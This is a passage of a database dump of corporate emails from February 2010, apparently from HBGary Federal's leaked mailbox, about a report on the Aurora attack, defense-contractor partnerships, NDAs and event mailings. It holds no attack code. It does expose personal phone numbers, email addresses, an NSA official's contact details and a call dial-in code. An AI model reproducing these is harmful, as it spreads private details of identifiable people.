or\r\nFriday morning in Bethesda?&nbsp; Let me know.&nbsp; At least I&#8217;d like to\r\nget you take on what we do and how it may be relevant in your mission(s).&nbsp;\r\nThanks.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nAubrey Merchant-Dest\r\n\r\nConsulting Engineer\r\n\r\nO: 301-528-8301\r\n\r\nF:&nbsp; 301-528-8302\r\n\r\nC:&nbsp; 301-351-4905\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13815,'aaron_hbgary_com/13815.html'),(2094,'2010-02-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000934.M514947P3547Q2094.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: EndGames Report Images','Yeah, no go on the images, they didn&#39;t work.  For some reason the email program is trying show them as embedded and this isn&#39;t working.  Cant save them, nothing.  They don&#39;t show.  Maybe if you zipped them into an archive first it would work.\r\n\r\n \r\n-Greg\r\nOn Fri, Feb 5, 2010 at 6:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: February 5, 2010 9:24:24 AM EST\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: EndGames Report Images\r\n\r\n\r\n\r\n\r\n',1274,'aaron_hbgary_com/1274.html'),(2095,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000936.M431174P3547Q2095.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Services','working on it.On Feb 5, 2010, at 11:08 AM, Greg Hoglund wrote:Aaron, I want to include a concise description of the federal services offering on the back of the report.&nbsp; Is there any way to highlight the vast years of experience our partners bring to the table, the kinds of incidents they are experts at, etc?\r\n\r\n&nbsp;\r\n-Greg\r\nOn Fri, Feb 5, 2010 at 6:01 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am going to talk with Shane today. &nbsp;I haven\'t received a phone call yet from your PoC at Foundstone. &nbsp;Also going to sit down with Phil next week. &nbsp;We have our initial rates already put together for the different labor categories. &nbsp;Also have a two requisitions going out today for incident response and malware analysis.\r\nMantech yesterday mentioned wanting to bring our tools and services into their CERT (DOJ, DIA).So as we discussed first thing is to get a few of the existing service providers on as subs and then work our own labor force as we get them in. &nbsp;This allows Ted and myself to become proficient at managing IR contracts as well.\r\nAny information from ISec?Aaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3916,'aaron_hbgary_com/3916.html'),(2096,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000936.M626885P3547Q2096.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Services','sorry I didn\'t take your call...talking with GD.AaronOn Feb 5, 2010, at 11:08 AM, Greg Hoglund wrote:Aaron, I want to include a concise description of the federal services offering on the back of the report.&nbsp; Is there any way to highlight the vast years of experience our partners bring to the table, the kinds of incidents they are experts at, etc?\r\n\r\n&nbsp;\r\n-Greg\r\nOn Fri, Feb 5, 2010 at 6:01 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am going to talk with Shane today. &nbsp;I haven\'t received a phone call yet from your PoC at Foundstone. &nbsp;Also going to sit down with Phil next week. &nbsp;We have our initial rates already put together for the different labor categories. &nbsp;Also have a two requisitions going out today for incident response and malware analysis.\r\nMantech yesterday mentioned wanting to bring our tools and services into their CERT (DOJ, DIA).So as we discussed first thing is to get a few of the existing service providers on as subs and then work our own labor force as we get them in. &nbsp;This allows Ted and myself to become proficient at managing IR contracts as well.\r\nAny information from ISec?Aaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5397,'aaron_hbgary_com/5397.html'),(2097,'2010-02-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000936.M821322P3547Q2097.eml','\"Aaron Barr\" <aaron@hbgary.com>','GD call notes','Aaron,\r\n \r\nSee attached\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',9678,'aaron_hbgary_com/9678.html'),(2098,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000937.M307682P3547Q2099.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Aurora report','Begin forwarded message:From: Dino Dai Zovi &lt;ddz@endgames.us&gt;Date: February 5, 2010 11:45:38 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Aurora reportHello Aaron,Chris Rouland forwarded me the draft copy of your Aurora report. &nbsp;I have done an extensive analysis on the cause of the Aurora vulnerability and its exploitability on IE6-IE8 and we\'d like to add our analysis to the report if possible. &nbsp;What is the timeframe for the publishing of the report?Cheers,-Dino--Dino Dai ZoviChief Scientistddz@endgames.us\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3676,'aaron_hbgary_com/3676.html'),(2099,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000937.M574284P3547Q2100.eml','\"Dino Dai Zovi\" <ddz@endgames.us>','Re: Aurora report','We would like to get it out next week.  Is that possible on your end?\r\n\r\nAaron\r\n\r\nOn Feb 5, 2010, at 11:45 AM, Dino Dai Zovi wrote:\r\n\r\n> Hello Aaron,\r\n> \r\n> Chris Rouland forwarded me the draft copy of your Aurora report.  I have done an extensive analysis on the cause of the Aurora vulnerability and its exploitability on IE6-IE8 and we\'d like to add our analysis to the report if possible.  What is the timeframe for the publishing of the report?\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> --\r\n> Dino Dai Zovi\r\n> Chief Scientist\r\n> ddz@endgames.us\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9177,'aaron_hbgary_com/9177.html'),(2100,'2010-02-05','\"Dino Dai Zovi\" <ddz@endgames.us>','/aaron@hbgary.com/new/1297000937.M75776P3547Q2098.eml','\"Aaron Barr\" <aaron@hbgary.com>','Aurora report','Hello Aaron,\r\n\r\nChris Rouland forwarded me the draft copy of your Aurora report.  I have done an extensive analysis on the cause of the Aurora vulnerability and its exploitability on IE6-IE8 and we\'d like to add our analysis to the report if possible.  What is the timeframe for the publishing of the report?\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\n--\r\nDino Dai Zovi\r\nChief Scientist\r\nddz@endgames.us\r\n\r\n\r\n\r\n',14745,'aaron_hbgary_com/14745.html'),(2101,'2010-02-05','\"Dino Dai Zovi\" <ddz@endgames.us>','/aaron@hbgary.com/new/1297000937.M801925P3547Q2101.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Aurora report','I can begin working on it on Monday morning and should be able to have it finished and reviewed by EOD Tuesday.  Does that work for you?\r\n\r\n-Dino\r\n\r\nOn Feb 5, 2010, at 11:48 AM, Aaron Barr wrote:\r\n\r\n> We would like to get it out next week.  Is that possible on your end?\r\n> \r\n> Aaron\r\n> \r\n> On Feb 5, 2010, at 11:45 AM, Dino Dai Zovi wrote:\r\n> \r\n>> Hello Aaron,\r\n>> \r\n>> Chris Rouland forwarded me the draft copy of your Aurora report.  I have done an extensive analysis on the cause of the Aurora vulnerability and its exploitability on IE6-IE8 and we\'d like to add our analysis to the report if possible.  What is the timeframe for the publishing of the report?\r\n>> \r\n>> Cheers,\r\n>> \r\n>> -Dino\r\n>> \r\n>> --\r\n>> Dino Dai Zovi\r\n>> Chief Scientist\r\n>> ddz@endgames.us\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n--\r\nDino Dai Zovi\r\nChief Scientist\r\nddz@endgames.us\r\n\r\n\r\n\r\n\r\n',8801,'aaron_hbgary_com/8801.html'),(2102,'2010-02-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000938.M268177P3547Q2103.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: GDAIS & HBGary Federal (discussion continues)','Aaron,\r\n \r\nYou can run solo on this next call.  Good job on the first one.  See you at 2pm with LM.\r\n \r\nBob\r\nOn Fri, Feb 5, 2010 at 11:51 AM, Starr, Christopher H. &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nWhen: Friday, February 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#\r\n*~*~*~*~*~*~*~*~*~*\r\nGDAIS &amp; HBGary Federal (discussion continues)\r\n\r\n866-765-5631, code 5057292#\r\nQuestions?\r\nContact:\r\nChris Starr\r\n571-216-6140\r\nChris.Starr@gd-ais.com \r\n\r\n\r\nAttending from HBGary Federal:\r\nAaron Barr, CEO,  Aaron@hbgary.com , 719-510-8478\r\n\r\nAttending from HBGary:\r\nBob Slapnik, Vice President of Government Sales, Bob@hbgary.com \r\n\r\nAttending from GDAIS:\r\nChris Starr, Chris.Starr@gd-ais.com, 571-216-6140\r\n\r\nJim Jaeger, Jim.Jaeger@gd-ais.com \r\n\r\nDoug Harlow, Douglas.Harlow@gd-ais.com \r\n\r\nJason Upchurch, Jason.Upchurch@gd-ais.com \r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n',3027,'aaron_hbgary_com/3027.html'),(2103,'2010-02-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297000938.M37693P3547Q2102.eml','aaron@hbgary.com,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,aaron@hbgary.com,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,','GDAIS & HBGary Federal (discussion continues)','\r\n\r\n\r\n\r\n\r\nGDAIS &amp; HBGary Federal (discussion continues)\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGDAIS &amp; HBGary Federal (discussion continues)\r\n\r\n866-765-5631, code 5057292#\r\n\r\nQuestions?\r\n\r\nContact:\r\n\r\nChris Starr\r\n\r\n571-216-6140\r\n\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\nAttending from HBGary Federal:\r\n\r\nAaron Barr, CEO,&nbsp; Aaron@hbgary.com , 719-510-8478\r\n\r\nAttending from HBGary:\r\n\r\nBob Slapnik, Vice President of Government Sales, Bob@hbgary.com \r\n\r\nAttending from GDAIS:\r\n\r\nChris Starr, Chris.Starr@gd-ais.com, 571-216-6140\r\n\r\nJim Jaeger, Jim.Jaeger@gd-ais.com \r\n\r\nDoug Harlow, Douglas.Harlow@gd-ais.com \r\n\r\nJason Upchurch, Jason.Upchurch@gd-ais.com \r\n\r\n\r\n\r\n\r\n',16296,'aaron_hbgary_com/16296.html'),(2104,'2010-02-05','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000938.M553601P3547Q2104.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Aurora Report','\r\nHi Greg and Aaron, I would keep the report specific to Aurora data only.&nbsp;When would the report be ready to &nbsp;share with the press? To better determine PR plans, I\'d like to know if we&nbsp;found anything *new* in our investigation that helps move Aurora story forward. Here are my questions re the report:\r\n&nbsp;\r\n\r\nAttribution: This is good, and all we (HBGary) &nbsp;know.&nbsp;Are we saying that Google is wrong -- that we can\'t fully know that this is defintely traced back to Chinese government? &nbsp;What else do we need to learn or have in place to&nbsp;fully ID the operator?&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\nJavascript exploit: This seems like a piece of news -- that concentration of the Javascript exploit used&nbsp;in Operation&nbsp;Aurora is rising -- have you seen this info elsewhere or is it something only HBGary has found? \r\n&nbsp;\r\nThreat genome -- wonder if there is a way to tie back to what DARPA wants to do and that, in fact, we are already doing it.\r\n&nbsp;\r\nInoculation Shot: I\'d like to learn more -- not sure what we are going to say here\r\n&nbsp;\r\n&nbsp;--- On Fri, 2/5/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Re: Aurora ReportTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;Date: Friday, February 5, 2010, 8:05 AM\r\n\r\n&nbsp;\r\nWe have a palantir investigation started on one malware author who was using the same exploit that aurora uses, but his malware is not the same as the one used in aurora.&nbsp; I am wondering if we can salvage that data for the report in any way, perhaps redact the names and show the screenshot nonetheless, as to advertise capability more than present aurora-specific intelligence.&nbsp; Obviosly this isn\'t as ideal as having data on aurora itself.&nbsp; Thoughts?\r\n&nbsp;\r\n-Greg\r\nOn Fri, Feb 5, 2010 at 7:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nKaren,I would like to get your thoughts on the release of the report and any PR that might be beneficial. &nbsp;I understand the report itself (although great) is a difficult thing to put a marketing/pr initiative on. &nbsp;But maybe what the report represents. &nbsp;This is a different way at looking at attacks, focusing on the operations and the threats and delivering the actionable intelligence necessary to protect the enterprise. &nbsp;Clear and direct actionable intelligence. &nbsp;HBGary is focused on delivering the threat intelligence that is necessary not just to protect against a single attack vector but to raise the overall awareness and security posture of the enterprise. &nbsp;This report represents a fundamentally different way at looking at cyber security, who are the players, what mechanisms do they use, where are they\r\n coming from, why are they attacking (intent), how do they operate.In this vein we are looking to partner with complementary technologies to improve our capability to deliver all the threat intelligence necessary to improve security, the first announced partnership was with Palantir.Thoughts?\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',15030,'aaron_hbgary_com/15030.html'),(2105,'2010-02-05','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000938.M782073P3547Q2105.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Contact at the Fort','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:11.0pt;\r\n	font-family:\"Calibri\",\"sans-serif\";\r\n	mso-ascii-font-family:Calibri;\r\n	mso-hansi-font-family:Calibri;}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nRich and I spent quite a bit of time with the gentleman\r\nbelow at the DOD IA Show in Nashville this week. He is one of Tony Sagar&#8217;s\r\ndeputies and has an interest in your area of expertise. I told him I would ask\r\nyou to follow up directly.\r\n\r\n&nbsp;\r\n\r\nDavid Luber\r\n\r\nChief Advanced Network Operations\r\n\r\n443-654-2550\r\n\r\nStu:443-479-8070\r\n\r\ndpluber@nsa.gov\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt O\'Flynn\r\n\r\n954-559-6934\r\n\r\nwww.hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8479,'aaron_hbgary_com/8479.html'),(2106,'2010-02-05','shane.sims@us.pwc.com','/aaron@hbgary.com/new/1297000940.M414041P3547Q2106.eml','aaron@hbgary.com,ted@hbgary.com,aaron@hbgary.com','PwC Statement Of Quals','\r\nAaron &amp; Ted,\r\n\r\nGreat chat today. &nbsp;Look forward\r\nto working with you soon.\r\n\r\nTo start our internal Joint Business\r\nRelationship, please complete these forms:\r\n\r\n\r\n\r\n\r\nAttached is our Cyber forensics &amp;\r\ninvestigations Statement Of Qualifications:\r\n\r\n\r\n\r\nRegards, Shane\r\n___________________________________________________________________________________________________________\r\nShane Sims | Advisory\r\n- Forensic Services | PricewaterhouseCoopers | Mobile: 202 262 9735\r\n| shane.sims@us.pwc.com\r\nInvestigations - Crisis Management\r\n- Risk Assessments:\r\nCybercrime &amp; Data Theft | Insider Threat | Fraud &amp; Abuse | Money\r\nLaundering | Advanced Due Diligence | FCPA \r\nThe information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender and delete the material from any computer.  PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n',3899,'aaron_hbgary_com/3899.html'),(2107,'2010-02-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000940.M699827P3547Q2107.eml','ddz@endgames.us,aaron@hbgary.com','The HBGary report timeline',' \r\nDino, Aaron,\r\n \r\nThe report, while I like it, does not move the story forward.  Almost all of the data has been reported in other blogs, etc.  Because of that, we initally had not planned to make press about it.  However, I am hoping that Endgames can bring some fresh threat intelligence to the table that hasn&#39;t been made public yet.  Also, HBGary has created an &#39;innoculation shot&#39; (a small signed exe utility) that will scan for and remove hydraq variants from the Enterprise - we are going to release that for free download with the report (that should drive a huge number of hits and downloads). I am on the phone right now w/ our PR (Karen), and assuming we can move the story forward somehow, she wants to schedule a webinar for Wednesday next week where we present the report.  The report will need to be final on Monday the 8th for this to work (because we need to pre-release it to the reporters). If we can&#39;t make that, it will have to bump to the following week (story can break monday 15th).  \r\n\r\n \r\nCheers,\r\n-Greg\r\n \r\nps. Dino, you have probably already done this yourself, but after we RE&#39;d the protocol, we wrote a stand-in C&amp;C server that will communicate to the aurora malware, and we are able to command it / drive it, etc.  I am willing to share all of our internal RE research with you.  And, we should outfit you w/ Responder and REcon - I think you will especially love REcon.\r\n\r\n \r\npss. I am still working on ways to integrate some link analysis w/ Palantir into the report, and hoping that some of the Endgames data will provide some datapoints I can port over to a Palantir investigation.  I want to highlight our partners as much as possible, so this benefits Endgames, Palantir, and HBGary combined.\r\n\r\n \r\n \r\n',11852,'aaron_hbgary_com/11852.html'),(2108,'2010-02-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000941.M301893P3547Q2109.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NDA for GUARDIAN','Got itBegin forwarded message:From: &quot;Logel, Moira&quot; &lt;Moira.Logel@macb.com&gt;\r\nTo: ted@hbgary.com.Cc: &quot;Willis, Dan&quot; &lt;Dan.Willis@macb.com&gt;Subject: NDA for GUARDIAN\r\nHello, Ted.Please find an NDA attached in support of the GUARDIAN program.\r\nPlease identify any requested changes with redlines.  Should the NDA beacceptable as written, please fill in any required administrative/POC\r\ninformation and return a signed copy to my attention  I will thencountersign and forward a fully executed copy for your records.Thank you.\r\nMoira LogelSr. Contracts AdministratorMacAulay-Brown, Inc.Phone:  (937) 426-3421\r\nFax:  (937) 426-5364&lt;NDA HB Gary GUARDIAN.docx&gt;\r\n',12852,'aaron_hbgary_com/12852.html'),(2109,'2010-02-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000941.M52269P3547Q2108.eml','dan.willis@macb.com','NDA','Hi Dan,\r\n\r\nI plan to send you the capabilities matrix later today.  I haven\'t\r\nreceived the NDA yet - can you poke at it from your end?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',200,'aaron_hbgary_com/200.html'),(2110,'2010-02-05','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297000941.M565028P3547Q2110.eml','aaron@hbgary.com','Annual Golf Tournament - Apr 29 - Forget Snow & White... Think Sun & Green!','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    &nbsp;\r\n    \r\n      \r\n        \r\n        \r\n          Follow \r\n            AFCEA NOVA on\r\n             \r\n        \r\n      \r\n    \r\n    &nbsp;\r\n  \r\n  \r\n    &nbsp;\r\n    \r\n      \r\n        Home\r\n        About \r\n          AFCEA NOVA\r\n        Membership\r\n        Events\r\n        Contact \r\n          Us\r\n        AFCEA \r\n          Int\'l\r\n      \r\n    \r\n    &nbsp;\r\n  \r\n   \r\n    \r\n      \r\n         \r\n        Golf Tournament - Apr 29 (Thu)\r\n        Forget Snow &amp; White...\r\n        Think Sun &amp; \r\n        Green!\r\n      Old Hickory \r\n        Golf Course\r\n        11921 Chanceford Drive\r\n        Woodbridge, Virginia 22192\r\n        Clubhouse Phone: 703-580-9000\r\n      Register \r\n        to Sponsor or Play in&nbsp;the Tournament\r\n              This year the tournament will once again&nbsp;be played at Old Hickory   Golf Course in Woodbridge, VA. This&nbsp;is our third time&nbsp;at this venue,   where&nbsp;the staff&nbsp;did such a great job for us in past years.\r\n\r\n      \r\n        \r\n          Details\r\n            SCHEDULE:\r\n            \r\n              Registration &amp; Lunch: 10:30AM\r\n              Driving Clinic w/ Golf   Pr &amp; Pre-Tee Driving Range\r\n              Putting Contest (at the Practice   Green)\r\n              Four-person Scramble, Shotgun Start: 12:00N\r\n              Awards   Presentation &amp; Dinner: 5:00PM\r\n            \r\n            COST:\r\n            \r\n              Industry: $450 per twosome\r\n              (max of 2 two-somes allowed per   company, unless you sponsor the event)\r\n              Government: $40 per   player\r\n              Sponsorships - All include twosomes this year - See Below\r\n              \r\n            \r\n                          PLAYER FEE INCLUDES:\r\n            \r\n              A great game of golf on a beautiful course\r\n              Networking   time with your customers, colleagues &amp; friends in Govt IT\r\n              Gov\'t   players randomly paired with Industry players, based on handicap;   (AFCEA is an ethical forum for exchange between Govt &amp; Industry; all   pairings - govt &amp; industry - are made by AFCEA NOVA; attendees   cannot enter as four-somes, nor request specific guests/pairings)\r\n              Soft   drinks, beer, bottled water, juice, snacks\r\n              Boxed lunch\r\n              Pre-dinner   open/hospitality Bar\r\n              Dinner\r\n              Golfer\'s goody bag, Player   Prizes &amp; Raffle Giveaways\r\n            \r\n            SPONSORSHIP OPPORTUNITIES:            \r\n            \r\n               Tournament Co-Host - $5,000 \r\n                (includes four players) \r\n              Dinner&nbsp;Sponsor - $3,500 (includes two \r\n                players) \r\n              Golf Pro Sponsor - $3,500 (includes two players)\r\n              Shirt Sponsor - $3,500 (includes two players)\r\n              Beverage Cart&nbsp;Sponsor - $3,000 (includes \r\n                two players) (2 slots available) \r\n              Lunch Sponsor - $3,000 (includes two players)\r\n              Golf Carts Sponsor - $2,500 (includes two players)\r\n              Hospitality Bar&nbsp;Sponsor (at Dinner) - \r\n                $2,500 (includes two players)\r\n              Photo Sponsor - $2,500 (includes two players)\r\n              Awards Sponsor - $1,500 (includes two players)\r\n              Cigars Sponsor - $1,500 (includes two players)\r\n              Closest-to-the-Pin Sponsor - $1,500 (includes \r\n                two players)\r\n              SOLD - Drink Barrels Sponsor \r\n                - $1,500 (includes two players) - Booz \r\n                Allen Hamilton\r\n              SOLD - Hole-in-One Sponsor \r\n                - $1,500 (includes two players) - Truestone\r\n              Longest-Drive Sponsor - $1,500 (includes two \r\n                players)\r\n              Range Balls Sponsor - $1,500 (includes two \r\n                players)\r\n              Putting/Chipping Sponsor - $1,500 (includes \r\n                two players)\r\n              Register \r\n                Online to Sponsor the Tournament &amp; Play\r\n            \r\n            To   discuss sponsoring the Tournament, please sign up online or contact:\r\n              \r\n            Greg Gorman, cell: 703-628-1238, email: golfsponsors@afceanova.org            \r\n            CORPORATE PRIZES:\r\n            Would Your Company Be Willing to Donate a prize(s) for raffle   giveaway at the event (we suggest a $75 value or greater)?\r\n            \r\n              Drivers\r\n              Wedges\r\n              Putters\r\n              Set of Clubs\r\n              Umbrellas\r\n              Golf   bags\r\n              Jackets\r\n              Ball Repair kits\r\n              Golf Pull - Cart\r\n              Restaurant   Certificates\r\n              Rounds of Golf\r\n              Lessons for Golf or Tennis\r\n              Sporting   Goods Certificates\r\n              Other good ideas? \r\n            \r\n            \r\n              To discuss donating Raffle Prizes, please contact:\r\n              Cary Osborne, email: cary.osborne@truestonefed.com            \r\n            \r\n              Ship to Address for Goody Bag Items...\r\n                Or, For more information on   the AFCEA NOVA Annual Golf Tournament...\r\n              \r\n                Please contact Golf Committee Chair:\r\n              \r\n            \r\n            Cary Osborne\r\n              Truestone Federal\r\n              428 Hume Ave,   2nd floor\r\n              Alexandria, VA 22301\r\n              tel: 703-766-6849\r\n          email: cary.osborne@truestonefed.com\r\n        \r\n    \r\n    \r\n    \r\n    \r\n    \r\n         \r\n          \r\n               \r\n                PLAN \r\n                    YOUR WINTER!\r\n                    ---------- \r\n                    AFCEA NOVA Upcoming Events\r\n                \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                SOLD \r\n                    OUT - Valentine\'s Ball \r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Feb 13 (Sat), 2010\r\n              \r\n               \r\n                Feb \r\n                    2010 Monthly Luncheon - Speaker TBA shortly\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Feb 26 (Fri), 2010\r\n              \r\n               \r\n                Mar \r\n                    2010 Monthly Luncheon w/ GEN George Casey, Army Chief of Staff\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Mar 19 (Fri), 2010\r\n              \r\n               \r\n                9th \r\n                    Annual\r\n                    NAVAL IT DAY\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n    &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',14338,'aaron_hbgary_com/14338.html'),(2111,'2010-02-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000941.M996551P3547Q2111.eml','\"Aaron Barr\" <aaron@hbgary.com>,martin@hbgary.com','China and the Citizen Hacker','Either of you have anything I can elaborate on this slide:\r\n \r\nChinese Cyber Blackwater- Citizen cyber soldiers\r\n -- Hackers being directed at specific targets &amp; missions by the government\r\n- Because this model does not have much structure and oversight, Chinese attacks are somewhat sloppy   -- No use of cutouts – direct C&amp;C to China   -- Use of poorly coded bot systems (i.e., GhostNET)\r\n\r\n \r\nIts for the RSA talk.\r\n 